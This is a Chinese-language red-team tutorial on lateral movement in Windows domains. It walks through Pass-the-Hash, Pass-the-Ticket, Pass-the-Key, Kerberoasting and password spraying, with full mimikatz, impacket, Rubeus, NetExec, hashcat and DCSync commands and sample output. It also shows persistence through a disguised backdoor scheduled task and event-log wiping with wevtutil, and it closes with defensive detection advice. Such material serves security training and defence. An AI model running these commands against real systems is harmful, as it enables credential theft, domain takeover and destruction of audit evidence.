
1. 为什么内网横向移动总是绕不开认证凭据做内网渗透和红队评估的朋友应该都有同感拿到一台机器的权限只是开始真正决定你能走多远的是能不能在内网里“借力”。横向移动的本质就是利用 Windows 域环境里的认证机制把已有的访问权限扩散到更多主机上。而这个扩散过程里PTH、PTT、PTK、Kerberoast 这些词几乎天天见。先说清楚一个概念Windows 域环境下的身份认证主要围绕 NTLM 和 Kerberos 两套体系展开。NTLM 是早期基于挑战/响应的认证协议Kerberos 是基于票据的认证协议。横向移动里绝大多数攻击手法要么是直接利用 NTLM 哈希做认证要么是伪造或窃取 Kerberos 票据要么是攻击 Kerberos 协议本身的薄弱点。理解了这条主线后面所有技术点都能串起来。这篇文章不是把攻击命令抄一遍就完事我会从原理、实操、踩坑三个层面把 PTH、PTT、PTK、Kerberoast、NTLM 爆破这些点逐个拆开讲。适合已经有一定内网基础、正在做红队评估或企业安全建设的朋友阅读。如果你是刚接触内网安全的新手建议先把域环境、Kerberos 协议的基础过一遍再回来看这篇文章效果会好很多。整个横向移动的杀伤链通常是这样的外网打点 → 获取第一台主机权限 → 提权 → 抓取凭据 → 横向移动 → 扩大战果 → 拿下域控。这里面最关键的一环就是“抓取凭据”和“横向移动”因为域环境里所有主机都信任同一个身份认证体系只要你在认证层面拿到了合法凭据就等于拿到了整个域的通行证。2. 核心攻击面梳理PTH、PTT、PTK 与 Kerberoast 各是什么2.1 PTHPass The Hash哈希传递攻击PTH 是内网横向移动里最经典、也最容易出效果的一招。它的核心逻辑是在 NTLM 认证体系中服务器验证的是“密码的 NTLM 哈希”而不是明文密码本身。所以只要拿到了用户的 NTLM 哈希根本不需要破解出明文直接拿这个哈希去发起认证就行。这里要纠正一个很多新手容易误解的地方PTH 不是“绕过认证”而是“用合法的哈希做合法的认证”。NTLM 协议本身确实是这样设计的所以从协议层面来看这次认证是合法的这也是 PTH 最难防御的根本原因。实际操作中最常见的场景是拿到一台管理员权限的主机后用 mimikatz 抓取 LSASS 进程里的凭据得到当前用户或其他登录过账户的 NTLM 哈希然后用 impacket 套件里的 psexec.py、wmiexec.py 等工具直接在目标机器上执行命令。注意PTH 不是只能打管理员账户。任何在目标机器上有本地管理员权限的账户它的哈希都可以用来做 PTH。所以内网里一台机器的本地管理员密码如果跟其他机器相同那这台机器的哈希就能打通整个内网里所有相同密码的机器这就是横向移动里“撞密码”的典型场景。2.2 PTTPass The Ticket票据传递攻击PTT 是 Kerberos 体系下的攻击手法。Kerberos 认证的核心是票据包括 TGTTicket Granting Ticket票据授权票据和 STService Ticket服务票据。用户拿 TGT 去申请某个服务的 ST然后拿着 ST 去访问该服务服务验证 ST 通过后就会放行。PTT 攻击的思路就是如果能拿到域内某个用户的 TGT 或 ST直接把它注入到当前会话里就能冒充这个用户去访问 Kerberos 保护的服务。最常用的工具是 mimikatz 的 kerberos::ptt 命令配合 Rubeus 来 dump 票据或伪造票据。PTT 和 PTH 最大的区别在于PTH 走的是 NTLM 认证路径PTT 走的是 Kerberos 认证路径。现在很多企业的安全设备都盯着 NTLM 的流量所以 PTT 在绕过某些安全检测上反而更有优势。2.3 PTKPass The Key密钥传递攻击PTK 其实可以理解为 Kerberos 体系下的 PTH。Windows 域用户在 Kerberos 认证过程中会用密码派生出来的 AES 密钥或 RC4 密钥作为长期密钥Long-term Key。PTK 攻击就是直接拿这个密钥去申请 TGT而不是使用明文密码。在 Windows Server 2012 及之后的域环境中默认开启了 AES 加密支持所以 PTK 的实用场景变得越来越多。尤其在你只抓到了 AES256 哈希、但没有抓到 NTLM 哈希时PTK 就能派上用场。mimikatz 里专门有 sekurlsa::pth 配合 /aes256 参数来实施 PTK 的用法。PTK 和 PTH 的核心区别对比如下攻击方式认证体系使用凭据典型工具适用场景PTHNTLMNTLM 哈希mimikatz, impacket传统 NTLM 认证PTTKerberosTGT/ST 票据mimikatz, Rubeus需要访问 Kerberos 服务PTKKerberosAES/RC4 密钥mimikatz, impacket仅获取到 AES 哈希时2.4 Kerberoast 攻击与 TGT、NTLM 爆破的关系Kerberoast 是目前企业内网评估中攻击面最大、成功率也相当高的一种攻击方式。它的原理是域内任何普通用户都可以向域控申请注册在某个服务账户下的服务票据ST这个 ST 是用服务账户的密码哈希加密的。拿到 ST 后就可以在本地暴力破解这个票据从而还原出服务账户的明文密码。Kerberoast 之所以可怕是因为它几乎不需要任何特殊权限。只要你在域内有一个普通域账号就能发起这个攻击。很多企业为了方便会给 SQL Server、IIS、第三方应用配置域服务账户而且这些服务账户往往拥有较高的权限。一旦 Kerberoast 成功破解等于直接拿到一个高权限账户的明文密码。TGT 在 Kerberoast 攻击里的角色也比较关键你向域控申请 ST 的整个过程都需要使用 TGT 作为身份凭证。这也解释了为什么很多攻击流程会把“先拿 TGT”作为前置步骤。NTLM 爆破则是另一种思路当你拿到一些用户名、但没有对应密码或哈希时可以对域内进行在线密码爆破。不过 NTLM 爆破在实战中风险较高容易触发账户锁定策略需要谨慎操作这一点后面我会专门讲。3. 实操环境搭建与工具准备3.1 实验环境说明在讲具体操作之前先把我自己的测试环境列一下方便你对照复现。这套环境是典型的“域控 域内主机 攻击机”三件套结构域控Windows Server 2016域名为 corp.localIP 为 10.10.10.10域内主机Windows 10 企业版已加域IP 为 10.10.10.20目标服务器Windows Server 2012已加域运行 MSSQL 服务IP 为 10.10.10.30攻击机Kali LinuxIP 为 10.10.10.100这套拓扑覆盖了大多数企业内网的典型场景有域控、有工作站、有业务服务器而且 Windows Server 2012 作为目标服务器可以完整展现 Kerberos AES 加密支持的特性。提示如果你是个人学习建议用 VMware 或 VirtualBox 搭一套完全虚拟化的环境。千万别用生产环境测试这个应该不用多强调。3.2 攻击机常用工具清单内网横向移动的工具有很多但我个人实际用得最多、也最推荐新手先掌握的是下面这几个mimikatzWindows 下抓取凭据和票据的神器PTH、PTT、PTK 都离不开它impacket 套件Python 写的远程执行和认证工具集psexec.py、wmiexec.py、secretsdump.py 都是经典RubeusC# 写的 Kerberos 攻击套件Kerberoast、票据 dump、票据伪造都很方便CrackMapExec现在叫 NetExec批量检测弱口令、哈希喷洒、抓取 SAM 哈希都非常高效BloodHound域信息收集和攻击路径分析工具能够可视化找到当前账户可以直达域控的路径这些工具各有侧重互相配合能把内网横向移动的效率提升很多倍。我建议你在实验环境里先把 mimikatz 和 impacket 练熟再逐步扩展到其他工具。3.3 通过 mimikatz 抓取凭据获取初始哈希现在假设我们已经通过外网打点拿到了 10.10.10.20 这台 Windows 10 主机的管理员权限并且成功上传了 mimikatz。第一步要做的是提升到 SYSTEM 权限因为很多凭据只有在高权限下才能读取。在管理员命令行下执行mimikatz.exe privilege::debug mimikatz.exe sekurlsa::logonpasswordsprivilege::debug是为了开启 SeDebugPrivilege 权限sekurlsa::logonpasswords则会从 LSASS 进程中提取当前所有登录会话的明文密码和哈希。实际抓取结果里重点关注 NTLM 字段和 AES256 字段Authentication Id : 0 ; 123456 (00000000:0001e240) Session : Interactive from 1 User Name : admin Domain : CORP Logon Server : DC01 Logon Time : 2025/1/12 14:23:56 SID : S-1-5-21-... msv : [00000003] Primary * NTLM : 32ed87bdb5fdc5e9cba8d4f3f5f5e4a1 * SHA1 : 7c9c5f5b3a1e1d6f8a4b2c3d4e5f6a7b8c9d0e1f * DPAPI : 7c9c5f5b3a1e1d6f8a4b2c3d4e5f6a7b8c9d0e1f tspkg : * NTLM : 32ed87bdb5fdc5e9cba8d4f3f5f5e4a1 * SHA1 : 7c9c5f5b3a1e1d6f8a4b2c3d4e5f6a7b8c9d0e1f wdigest : * Username : admin * NTLM : 32ed87bdb5fdc5e9cba8d4f3f5f5e4a1 kerberos : * Username : admin * Domain : CORP.LOCAL * Password : Pssw0rd123 ssp : credman :看到有明文密码 Pssw0rd123也有 NTLM 哈希 32ed87bdb5fdc5e9cba8d4f3f5f5e4a1。这两种凭据在后面的攻击中都会用到。顺带一提如果 dedebug 权限开启失败通常是因为 mimikatz 不是以管理员权限运行或者杀软拦截了特权操作。拿到这些凭据后就已经具备往 10.10.10.30 这台目标服务器横向移动的基础条件了。下面分别演示 PTH、PTK、Kerberoast 的完整操作路径。4. PTH 哈希传递的完整实操流程4.1 用 impacket 的 psexec 进行哈希传递PTH 最经典的用法就是用 impacket 的 psexec.py 直接获得一个交互式 shell。在 Kali 上执行python3 psexec.py corp.local/admin10.10.10.30 -hashes :32ed87bdb5fdc5e9cba8d4f3f5f5e4a1命令执行后psexec.py 会用我们提供的 NTLM 哈希作为凭据向 10.10.10.30 的 ADMIN$ 共享发起连接并在目标机器上创建一个服务来执行命令。整个过程相当于用管理员权限远程开了个 shell。成功后会看到类似下面的输出Impacket v0.11.0 - Copyright 2023 Fortra [*] Requesting share on 10.10.10.30 [*] Found writable share ADMIN$ [*] Uploading file ... [*] Opening SVCManager on 10.10.10.30 [*] Creating service ... [*] Starting service ... Microsoft Windows [Version 10.0.14393] (C) 2016 Microsoft Corporation. All rights reserved. C:\Windows\system32这里有个细节值得注意psexec.py 的原理其实是通过 SMB 协议创建一个远程服务来执行命令所以它需要目标是开放 ADMIN$ 共享并且当前账户有该共享的访问权限。在很多内网里域管理员账户默认对这些共享有权限所以 psexec.py 才会成为最常用的横向移动工具。4.2 用 wmiexec 做 PTH更隐蔽的玩法psexec.py 好用但它会创建服务、上传二进制文件特征比较明显。在真实评估中如果目标环境有 EDR 或 HIDSpsexec 很容易被盯上。这时候可以考虑 wmiexec.pypython3 wmiexec.py corp.local/admin10.10.10.30 -hashes :32ed87bdb5fdc5e9cba8d4f3f5f5e4a1wmiexec.py 利用的是 WMIWindows Management Instrumentation的远程执行能力。它不会创建新的服务也不会在目标机器上留下可执行文件所以产生的检测特征比 psexec 少很多。缺点是每次执行命令都要通过 WMI 调用速度略慢而且拿到的不是完整交互式 shell而是每条命令单独执行的半交互式 shell。从实战角度看我一般会这样选择需要快速拿 shell 且目标环境没有强监控的时候用 psexec目标有 EDR 或需要低调渗透的时候用 wmiexec。4.3 NTLM 哈希喷洒批量横向移动如果手里有多台机器的本地管理员账户密码相同这在很多中小企业里非常常见就可以用 CrackMapExec 做哈希喷洒一次性检测内网里哪些机器可以被同一个哈希打通crackmapexec smb 10.10.10.0/24 -u admin -H 32ed87bdb5fdc5e9cba8d4f3f5f5e4a1 --local-auth--local-auth参数指定使用本地账户验证而不是域账户。这样能快速列出内网里所有使用了相同本地管理员密码的主机。实测下来一个 /24 的网段几分钟就能扫完。不过做哈希喷洒时建议控制并发数避免大量失败认证触发账号锁定策略。注意哈希喷洒和密码喷洒的核心区别在于哈希喷洒使用的是已经泄露的哈希不会耗费时间去破解密码喷洒则是对多个用户名使用同一个密码尝试登录。后者风险远大于前者务必小心。4.4 PTH 实操中的常见失败原因PTH 看起来简单但实际执行时经常遇到一些让人头疼的问题目标机器禁用了 ADMIN$ 共享或 SMB 服务psexec.py 会提示找不到共享或拒绝访问防火墙拦截了 445 端口WMI 和 SMB 都走这个端口不通就直接失败开启了 SMB 签名部分工具在某些场景下会有兼容性问题UAC 远程限制如果目标机器是 Win10/Server 2016 且目标账户是本地管理员但启用了 UAC 远程限制就会导致 PTH 失败UAC 远程限制这个坑值得单独说一下。Windows Vista 之后微软为了防止本地管理员账户被远程滥用默认禁止通过远程方式使用本地管理员的高权限令牌。解决办法是把目标注册表项LocalAccountTokenFilterPolicy设为 1但这需要本地管理员权限。所以在实战里这个限制主要是针对本地账户域管理员账户则不受此限制。5. PTT 票据传递与 Kerberoast 攻击实操5.1 导出 TGT 票据并用 mimikatz 注入在拿到域用户权限后可以使用 mimikatz 从当前会话中导出 Kerberos 票据。先用 klist 看看当前有没有已缓存的票据klist正常情况下域用户登录后会缓存一个 TGT。使用 mimikatz 导出mimikatz.exe privilege::debug mimikatz.exe sekurlsa::tickets /export执行完成后会在 mimikatz 所在目录下生成一堆.kirbi文件。文件名会包含票据类型、用户名和域名信息比如0-0x40a10000-adminCORP.LOCAL_krbtgt~CORP.LOCALCORP.LOCAL.kirbi这种就是 TGT 票据。清理掉当前会话票据然后注入刚导出的 TGTmimikatz.exe kerberos::purge mimikatz.exe kerberos::ptt 0-0x40a10000-adminCORP.LOCAL_krbtgt~CORP.LOCALCORP.LOCAL.kirbi执行klist验证如果看到新注入的票据说明 PTT 已经成功。之后访问任何这台票据有权限访问的服务都会以 admin 的身份进行。PTT 的实际用途非常广泛。比如拿到了某个域管理员的 TGT直接注入后就可以访问域控的 SYSVOL 共享、执行远程命令甚至 DCSync 拖取所有域用户的哈希。5.2 Rubeus 快速实现 PTTRubeus 是另一个非常好用的 Kerberos 工具而且它是 C# 写的可以直接用execute-assembly注入到内存里执行对杀软的规避效果比落地文件好很多。Rubeus dump 票据的常用命令Rubeus.exe dump /luid:0x1e240把 dump 出来的 base64 格式票据保存下来在目标机器上执行Rubeus.exe ptt /ticket:doIFqDCCBaSgAwIBBaEDAgEW...Rubeus 的 ptt 会把票据直接注入当前会话。跟 mimikatz 相比Rubeus 的 dump 输出是 base64 格式方便在远控工具里直接传递不需要落地文件。5.3 Kerberoast 完整攻击流程Kerberoast 攻击的核心就三步找服务账户 → 申请服务票据 → 离线破解。下面逐步演示。第一步在已获得域权限的机器上用 Rubeus 枚举域内注册了 SPNService Principal Name服务主体名称的账户Rubeus.exe kerberoast /outfile:hash.txt这一步会向域控请求所有 SPN 对应的服务票据并把票据以 hashcat 可以识别的格式保存到 hash.txt 里。如果用的不是 Rubeusimpacket 的 GetUserSPNs.py 效果也是一样python3 GetUserSPNs.py corp.local/admin:Pssw0rd123 -dc-ip 10.10.10.10 -request执行后就能看到类似下面的输成$krb5tgs$23$*MSSQL_Svc$CORP.LOCAL$mssql/10.10.10.30*$cbc7740e...第二步把拿到的 hash.txt 丢给 hashcat 破解hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt-m 13100对应的是 Kerberoast 常见的 RC4 加密的服务票据。如果目标环境使用 AES 加密则需要用-m 19700。第三步大部分情况下用弱密码字典就能跑出结果。因为很多企业给服务账户设置的密码都是“强密码”风格的弱口令比如带年份、带公司名加数字之类的组合。我实测过很多内网RockYou 字典跑完一遍之后总能看到几个服务账户的密码裸奔在结果里。提示Kerberoast 的危险程度在于它不需要任何高权限普通域用户就能发起。而且申请服务票据属于 Kerberos 协议的正常功能很难在流量层面做有效拦截。防御的重点应该在服务账户密码强度上而不是试图阻断攻击。5.4 Kerberoast 实战中的加密类型问题Kerberoast 里经常遇到一个问题请求到的票据是 AES256 加密的hashcat 的 13100 模式跑不了。这时候有两种处理方式一种是在请求时强制使用 RC4 加密。在 GetUserSPNs.py 里可以用-tgt指定自己的 TGT并用-request来请求 RC4 加密的票据。Rubeus 里则是用/tgtdeleg参数来请求 RC4 票据。另一种是根据票据类型选择对应的 hashcat 模式。AES 加密的情况用 19700 模式即可。我个人更推荐第二种因为强制降级加密类型可能会在一些高安全环境里产生告警而按票据类型匹配模式是不会增加风险的。6. PTK 密钥传递及与 PTH 的选型对比6.1 PTK 的具体操作方式PTK 适合的场景比较特殊你通过抓取得到的是 AES256 哈希而没有 NTLM 哈希。这种情况下传统的 PTH 无法使用但 PTK 可以。mimikatz 里用sekurlsa::pth来执行 PTKmimikatz.exe privilege::debug sekurlsa::pth /user:admin /domain:corp.local /aes256:3f6c5d8a... /run:cmd.exe执行成功后会弹出一个新的 cmd 窗口这个窗口里的所有操作都以 admin 的身份执行。在这个窗口里访问目标机器的共享或服务就是基于 admin 权限的。在 impacket 中也有对应的用法比如 wmiexec.py 支持传递 AES keypython3 wmiexec.py corp.local/admin10.10.10.30 -aesKey 3f6c5d8a...6.2 什么时候用 PTK 而不是 PTH实际上大多数情况下你会同时抓到 NTLM 哈希和 AES256 哈希所以 PTH 往往已经足够。但有一种情况 PTK 有绝对优势域环境开启了“禁用 NTLM”或“拒绝 NTLM”的安全策略。在这种环境里NTLM 认证会被直接拒绝传统的 PTH 完全无效。此时只有走 Kerberos 认证路径也就是 PTK 或 PTT 才能打通。所以在实际评估中我习惯先看一眼目标环境的 NTLM 使用策略。如果发现 NTLM 流量被限制就改用 PTK。这个选型判断对红队评估的流畅度影响很大。6.3 三种凭据攻击方式的实战选择建议最后给一张基于实战场景的选择表方便你在评估时快速决策场景推荐方式理由拿到 NTLM 哈希目标开放 SMBPTH最简单直接NTLM 被禁用但拿到 AES 密钥PTK走 Kerberos 路径需要访问 Kerberos 保护的特定服务PTT直接注入 TGT/ST拿到高权限 TGT 票据PTT冒充任意域用户仅有普通域账号需要提权Kerberoast离线破解服务账户密码7. NTLM 在线爆破的实操与风险控制7.1 用 NetExec 做密码喷洒NTLM 爆破和前面几种攻击方式不同它是在没有凭据的情况下尝试用常见密码去撞域内用户。这种攻击最大的问题是容易被锁定账户和触发告警。正确的姿势是密码喷洒Password Spraying拿一个密码对一大批用户名尝试。而不是拿一个用户名对一大批密码尝试。前者能有效避免单个账户的多次失败锁定。实操时用 NetExec原 CrackMapExecnxc smb 10.10.10.0/24 -u users.txt -p Pssw0rd2025 --continue-on-success这个命令会拿 Pssw0rd2025 这个密码去尝试 users.txt 里的所有账户。如果某个账户登录成功就继续往下测试因为--continue-on-success参数要求即使成功也不停止。7.2 爆破中的账户锁定规避策略NTLM 爆破最忌讳的就是把账户锁死。默认域策略通常是 5 次错误密码锁定 30 分钟一旦锁死不仅攻击暴露还会影响业务系统正常使用属于红队评估里的大忌。规避手段有两个方向一是控制失败次数一般策略是每个用户只试 1 到 2 次二是在了解域策略的基础上拉长每次尝试的时间间隔。比如把一整轮的密码喷洒拆成 10 分钟一个周期每次只试一个密码这样即使失败也不容易触发锁定策略。另一个实用技巧是优先收集不常锁定的账户比如一些服务账户可能没有纳入锁定策略的范围。使用 NetExec 时可以通过--no-bruteforce和精确的用户名单来降低风险。7.3 爆破成功后的后续利用路径一旦某个 NTLM 爆破成功后续利用路径就跟前面的 PTH 接上了。用爆出来的密码直接做 wmiexec 远程执行或者用 secretsdump 去 dump 目标机器的 SAM 哈希、本地账户哈希甚至如果拿到的是域管理员密码直接 DCSync 攻击把整个域的哈希全拖下来。python3 secretsdump.py corp.local/ordinary:Pssw0rd202510.10.10.10secretsdump.py 会通过域控的复制协议获取 NTDS.dit 里的所有域用户哈希。这一步一旦成功整个域就相当于已经拿下了。注意DCSync 属于高危操作在授权测试中也要谨慎使用。因为它会直接触达域控产生大量日志蓝队很容易通过 4662 事件等检测手段发现异常。8. 横向移动后的权限维持与痕迹清理8.1 创建隐藏计划任务维持权限横向移动成功后如果评估周期较长需要考虑权限维持的问题。常用的方式包括创建隐藏计划任务、注册服务、修改注册表启动项等。在 psexec 获得的 shell 里可以通过 schtasks 创建一个计划任务schtasks /create /tn \Microsoft\Windows\Maintenance\SystemCheck /tr C:\Windows\Temp\backdoor.exe /sc onlogon /ru SYSTEM /f把任务名称伪装成系统自带任务可以降低管理员排查时的嫌疑。不过要注意现在很多 EDR 会监控计划任务的创建行为尤其是新任务指向临时目录时更容易被标记。8.2 清理日志与时间线干扰清理痕迹是评估流程里不可跳过的一环。主要清理对象包括安全日志记录登录、特权使用等事件系统日志记录服务创建、计划任务等事件PowerShell 操作日志记录脚本执行历史各工具在目标机器上留下的临时文件和注册表项用 wevtutil 清理是最快的方式wevtutil cl Security wevtutil cl System wevtutil cl Application但要注意直接清空日志反而会引起注意。更隐蔽的做法是只删除跟攻击相关的特定事件而不是全部清空。这需要借助 PowerShell 或者第三方工具来实现在真实评估中如果目标是持续性打点甚至会选择不去清理日志而是尽量让自己的行为融入正常流量。8.3 隐藏 C2 通信与流量规避思路横向移动阶段如果还要维持控制通道C2 通信的隐蔽性同样重要。经典做法是通过 443 端口的 HTTPS 流量伪装或者用 DNS 隧道、ICMP 隧道等非常规协议。但无论哪种方式都要尽量模拟正常的业务流量特征。在内网横向移动场景里我个人的经验是优先使用 SMB 或 WinRM 这类域内正常使用的协议做隧道因为在内网里这些协议本身就有大量流量指令混在里面不容易被识别。反而是直接往外网连 C2 的行为在出入口流量审计下更容易暴露。9. 常见问题与排查技巧实录9.1 常见问题速查表问题现象可能原因排查思路psexec 提示 Access Denied账户权限不足或 UAC 远程限制换域管理员账户或确认 LocalAccountTokenFilterPolicywmiexec 无回显防火墙拦截或 WMI 权限不足检查 135 端口连通性和账户权限Kerberoast 破解失败服务账户密码强度较高换更大字典或用规则变异PTT 注入后仍无法访问服务票据对应的用户无权限检查目标服务的 ACL 配置NTLM 爆破导致账户锁定尝试次数过多降低频率每用户只试 1-2 次9.2 我在实际项目中遇到的两个高价值场景第一个场景是 PTH 连续打通内网十几台机器。起因是客户的域环境里IT 部门为了省事给所有服务器的本地 Administrator 设成了同一个密码。我们拿到一台测试服务器的本地哈希后用 CrackMapExec 做哈希喷洒直接发现同网段里 80% 的服务器都能打通。这个例子充分说明了密码复用问题在内网里的严重性。第二个场景是 Kerberoast 挖到 SQL Server 服务账户密码而这个账户正好是域管理员组的一员。这意味着我们从一个普通域用户通过 Kerberoast 直接拿到了域管权限。后来检查发现是运维为了省事把 SQL Server 服务账户直接加进了 Domain Admins 组。这种典型的配置错误在企业环境里比想象中更常见。9.3 团队协作与操作纪律横向移动往往是多人协作的环节操作纪律直接决定整个评估项目的成败。我这里分享几个项目里沉淀下来的规矩任何攻击性操作开始前先确认当前账户权限和域内策略避免盲打涉及哈希和票据的凭据信息统一记录到加密的共享笔记里不能散落在不同的终端每次横向移动成功或失败都在项目群里同步进展方便队友实时调整攻击路径高危操作DCSync、批量哈希喷洒必须经过项目负责人确认后才能执行这些纪律看起来不起眼但在实战中能避免大量踩坑和重复劳动。10. 实用防御视角蓝队面对这些攻击能做什么10.1 针对 PTH 的监测与缓解PTH 攻击最有效的防御手段之一就是启用微软的“本地 Administrator 账户的 SID 过滤”和“受保护的用户”组。把高权限账户加入 Protected Users 组后NTLM 哈希传递会被直接阻断因为这个组禁用了 NTLM 认证只允许 Kerberos 认证。日志层面重点关注事件 ID 4624登录类型 3即网络登录的异常频率以及 4672分配特权和 4720创建用户等事件。如果发现同一个源 IP 在短时间内对多台机器发起登录大概率是哈希喷洒或密码喷洒。10.2 针对 PTT 与 Kerberoast 的应对PTT 攻击在日志层面比较难定位因为票据注入本身不会产生新的登录事件。更有效的方式是开启 Kerberos 服务票据的审计关注事件 ID 4769。当同一个账户在短时间内请求了大量不同 SPN 的服务票据很可能就是 Kerberoast。Kerberoast 的另一个缓解手段是确保服务账户的密码足够复杂且定期轮换。微软也提供了 gMSA组托管服务账户密码由系统自动管理且长度随机能够从根源上阻断 Kerberoast 破解的可能。10.3 整体安全加固建议结合前面的攻击面我建议做一次内网安全自查时优先检查以下几项域内是否存在密码复用的本地管理员账户是否存在加入高权限组的服务账户是否已启用 Protected Users 组并加入高价值账户是否开启 NTLM 限制策略如果业务兼容域控的日志是否已接入 SIEM 并配置了异常登录告警这些检查项每一项都对应前面提到的一种攻击方式。把基础项补齐就能让攻击者的横向移动成本呈指数级上升。11. 写在最后的心得这套横向移动技术组合拳我在不同规模的网络评估里反复用过很多次。最大的感受是工具和命令只是表象真正决定成败的是对认证机制的理解深度。PTH、PTT、PTK 本质上都是同一个思路——想办法拿到一个能通过认证的凭据然后用它去合法访问目标资源。区别只在于你拿到的是哈希、票据还是密钥。我建议刚接触内网安全的朋友不要急着背命令先把 Kerberos 的认证流程自己画一遍再对照落实每一步的攻击点和检测点。把原理搞透之后你会发现这些攻击手法无论怎么变都能一眼看穿它的本质。最后再分享一个技巧在真实的红队评估中横向移动的速度往往不如横向移动的质量重要。与其急着用工具冲进每一台机器不如先把域内的 BloodHound 路径摸清楚找到最短路径和最有价值的目标然后再精准出击。这样做事倍功半也不容易打草惊蛇。